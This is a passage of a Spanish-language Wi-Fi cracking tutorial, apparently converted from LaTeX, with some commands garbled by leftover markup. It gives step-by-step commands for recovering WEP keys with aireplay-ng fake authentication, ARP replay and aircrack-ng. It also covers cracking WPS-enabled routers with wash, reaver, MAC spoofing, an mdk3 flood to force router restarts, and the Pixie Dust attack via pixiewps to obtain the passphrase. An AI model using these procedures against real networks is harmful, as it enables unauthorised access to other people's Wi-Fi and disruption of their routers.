Es necesario, para que el AP acepte un paquete de una interfaz, que dicha interfaz se encuentre ya asociada a dicho AP. En caso de que no sea así, el AP ignorará el paquete y enviará un paquete DeAuthenticarion en claro. Entonces, no se crearán nuevos IVs puesto que el AP estará ignorando todos los paquetes inyectados. La interfaz que usted use para inyección ha de estar asociada con el AP mediante el uso de un autentificador falso o bien usando una dirección MAC de un cliente ya asociado al AP. Aquí usaremos un autentificador falso:

```
# aireplay-ng -1 0 -e \langle essid\_ap \rangle -a \langle bssid\_ap \rangle \ > -h \langle nic\_att\_mon\_mac \rangle \langle nic\_att\_mon \rangle
```

La opción –1 significa autenticación falsa y 0 es el tiempo, en segundos, de reasociación Si ha tenido éxito, el comando le devolverá algo parecido a lo siguiente:

```
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)
```

5. Ejecute Aireplay-ng en modo solicitud de replay de ARP.

El propósito de este paso es ejecutar Aireplay-ng en un modo que escuche las solicitudes de ARP y posteriormente las reinyecte en la red. La razón por la que se usan paquetes de solicitud de ARP es porque el AP normalmente los rebroadcasteará (menuda palabra me acabo de inventar) y generará un nuevo IV. Así se podrán crear muchos IVs en poco tiempo.

Abra otra ventana/pestaña, etc. e introduzca:

```
# aireplay-ng -3 -b \langle bssid\_ap \rangle \ > -h \langle nic\_att\_mon\_mac \rangle \langle nic\_att\_mon \rangle
```

Esto empezará a escuchar solicitudes de ARP y, en cuanto escuche la primera, Aireplay-ng comenzará inmediatamente a inyectarlas. Debería aparecerle algo así:

```
Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 629399 packets (got 316283 ARP requests), sent 210955 packets...
```

A mí, al principio, me ponía sent 0 paquets y no cambiaba. Entonces fui al ordenador que tenía de cliente conectado al AP (porque no era mentira eso de que este tutorial es sólo para divertirse; está feo eso de meterse en la wifi de tu vecina anciana) e hice un ping a la interfaz wireless LAN del AP. Entonces el número cambió y siguió cambiando indefinidamente. Quizás es que hay que esperar a que algún cliente haga algo en la red.

Ahora puede comprobar que en la shell en la que tiene ejecutando el comando airodump-ng bajo la columa #/s le aparece un número mayor de 100. Si no es así, no está funcionando bien la cosa.

6. Ejecute Aircrack-ng para obtener la clave WEP.

Ahora, con el uso de la herramienta de software Aircrack-ng, podrá obtener, a partir de los IVs que ha recolectado de los pasos anteriores, la clave WEP del AP.

Aquí mostraré dos métodos. El primero se llama PTW. Deberá introducir el comando siguiente en un shell nuevo:

```
# aircrack-ng -b \langle bssid\_ap \rangle \langle pref-out \rangle *.cap
```

El otro método, llamado FMS/Korek, consiste en lo siguiente:

```
# aircrack-ng -K -b \langle bssid\_ap \rangle \langle pref-out \rangle *.cap
```

A mí me tardó menos el primer método. Según dice el manual, para el ataque FMS/Korek, se necesitan unos 250 000 IVs para crackear una clave WEP de 64 bit, y aproximadamente 150 000 para una de 128 bit. Para el ataque PTW, serían unos 20 000 para una de 64 bit y entre 40 000 y 85 000 para una de 128 bit.

Algo curioso es que el método FMS/Korek me dio dos resultados. Quizás sean válidos ambos...o no. Tengo que probarlo.

6.3 Cracking de redes wireless con WPS activado

El mejor tutorial que he encontrado hasta la fecha es el que se encuentra en https://www.youtube.com/watch?v=FiuKaXIaCNQ. Usa varios programas en línea de comandos que aprovechan una vulnerabilidad que se encontró al estándar WPS. En concreto, aquí se explicará un ataque de este tipo llamado Pixie Dust. Antes, funcionaba muy bien, pero los fabricantes de routers han ido actualizándolos para que sea más difícil un ataque de este tipo. Por ejemplo, tras varios intentos seguidos muy rápidos de petición de WPS, se bloquea el WPS durante 60 sec. Otra forma, más complicada, de crackear redes wifi con seguridad WPA o WPA2 es extrayendo el hash de una passphrase de WPA o WPA2 y haciendo un ataque de fuerza bruta. Este último método es mucho más complicado, puesto que las passphrases de los AP wireless suelen ser complejas, puesto que las preconfigura el ISP al entregar el router al cliente, y, si éste la cambia, es que sabe más o menos cómo crear una clave fuerte, así que un diccionario para hacér más fácil el ataque es inútil aquí.

Así, pues, como acabo de explicar, la mejor forma que he encontrado de crackear una red wifi aprovechando que no tenga bloqueado el WPS es del modo siguiente. Estoy suponiendo que usted tiene instalada una distribución de Linux con el software necesario para el crackeo de wifi. Puede hacerlo instalando Kali Linux o cualquier otra distribución con tal de que le pueda instalar las herramientas de software necesarias, que se usan aquí. También puede ejecutarla como Live-CD (ya sea, en CD, DVD, pendrive, etc.) o en una máquina virtual.

Lo primero es comprobar sus interfaces wifi:

```
# ifconfig -a
```

También, con:

iwconfig

Ahora deberá ver qué interfaces son aptas para usarlas con Airmon-ng:

```
# airmon-ng
```

Ahora ponga en down la interfaz que desea usar para realizar el ataque, en este caso, será $\langle nic_att \rangle$:

```
# ifconfig \langle nic\_att 
angle down
```

Ahora matará algunos procesos que pueden entorpecer el comando que va después:

```
# airmon-ng check kill
```

Ahora, ejecutará el comando airmon-ng sobre *(nic att)*

```
# airmon-ng start \( nic att \)
```

Ahora vea de nuevo su interfaz wifi:

iwconfig

Ahora cambiará la dirección MAC de su interfaz (hará lo que se conoce como MAC spoofing) y pasará su interfaz a modo monitor. El MAC spoofing no sé si es necesario en este caso, pues creo que el comando airmon-ng le hace "invisible", y pasar al modo monitor, según algunos tutoriales, es algo que debería hacer el comando airmon-ng. Aun así, aquí se hará explícitamente por si acaso:

```
# ifconfig \langle nic\_att\_mon \rangle down
# macchanger -r \langle nic\_att\_mon \rangle
# iwconfig \langle nic\_att\_mon \rangle mode monitor
# ifconfig \langle nic\_att\_mon \rangle up
```

Ahora abra dos pestañas de terminal, en cada una de las cuales ejecutará un comando. El primero será para ver las redes wifi de las que recibe señal y la potencia de las mismas en dBm

```
# airodump-ng -i \( nic_att_mon \)
```

En la otra, deberá mostrar (es preferible en otro terminal) las redes de las que recibe señal y si tienen bloqueado el WPS:

```
# wash -i \langle nic\ att\ mon
angle -C
```

Seleccione una de la que usted reciba una señal lo bastante potente (dBm) y apunte su ES-SID, su canal y su BSSID (la dirección MAC del router); fíjese también en que bajo la columna WPS locked pone no.

Ahora introduzca el siguiente comando para que su sistema comience a probar PINs:

```
# reaver -i \langle nic_att_mon \rangle -vv -S -b \langle bssid_ap \rangle -c \langle canal_ap \rangle
```

Hay veces que funciona mejor añadiéndole la opción -w

```
# reaver -i \langle nic\_att\_mon \rangle -vv -S -b \langle bssid\_ap \rangle -c \langle canal\_ap \rangle -w
```

Puede tardar mucho tiempo. Debe tener en cuenta que no le aparecen errores como, por ejemplo, los que tienen código 0x02 o 0x03, que hacen que se repita el intento de PIN porque la señal no le llega a usted con la suficiente potencia. Advierta que si reintenta siempre el mismo PIN le trae más a cuenta probar con otro punto de acceso.

Otra cosa que puede hacer cuando no le funciona bien el ataque es un ataque mdk3 hasta que el router cambie de canal o se reinicie:

```
# mdk3 \langle nic\_att\_mon 
angle a -a \langle bssid\_ap 
angle -m
```

Luego vuelva a lanzar el ataque reaver.

Otra cosa, más evidente, que puede hacer es aumentar la potencia de Tx, si se lo permite su NIC, o usar una NIC con mayor recepción (dBi, decibelios isotrópicos).

Para hacer el ataque Pixie Dust, basta con que vea que ha obtenido los valores de $\langle pke \rangle$, $\langle pkr \rangle$, $\langle e-hash1 \rangle$, $\langle e-hash2 \rangle$, $\langle authkey \rangle$ y $\langle e-nonce \rangle$.

Ahora, en otra ventana del emulador de terminal, ejecute:

```
# pixiewps -e \langle pke \rangle -r \langle pkr \rangle -s \langle e\text{-}hash1 \rangle \ > -z \langle e\text{-}hash2 \rangle -a \langle authkey \rangle -n \langle e\text{-}nonce \rangle
```

Esto, si se lo permite el punto de acceso que está atacando, debería devolverle el PIN de WPS de dicho punto de acceso. Con dicho PIN puede obtenerse la pashphrase del punto de acceso. Para eso deberá introducir:

```
# reaver -i \langle nic\_val\_mon \rangle -vv -S -b \langle bssid\_ap \rangle \ > -c \langle canal\_ap \rangle --pin=\langle pin \rangle
```

Bibliografía

[KD04] Helmut Kopka and Patrick W. Daly. Guide to LaTeX. Addison-Wesley, fourth edition, 2004.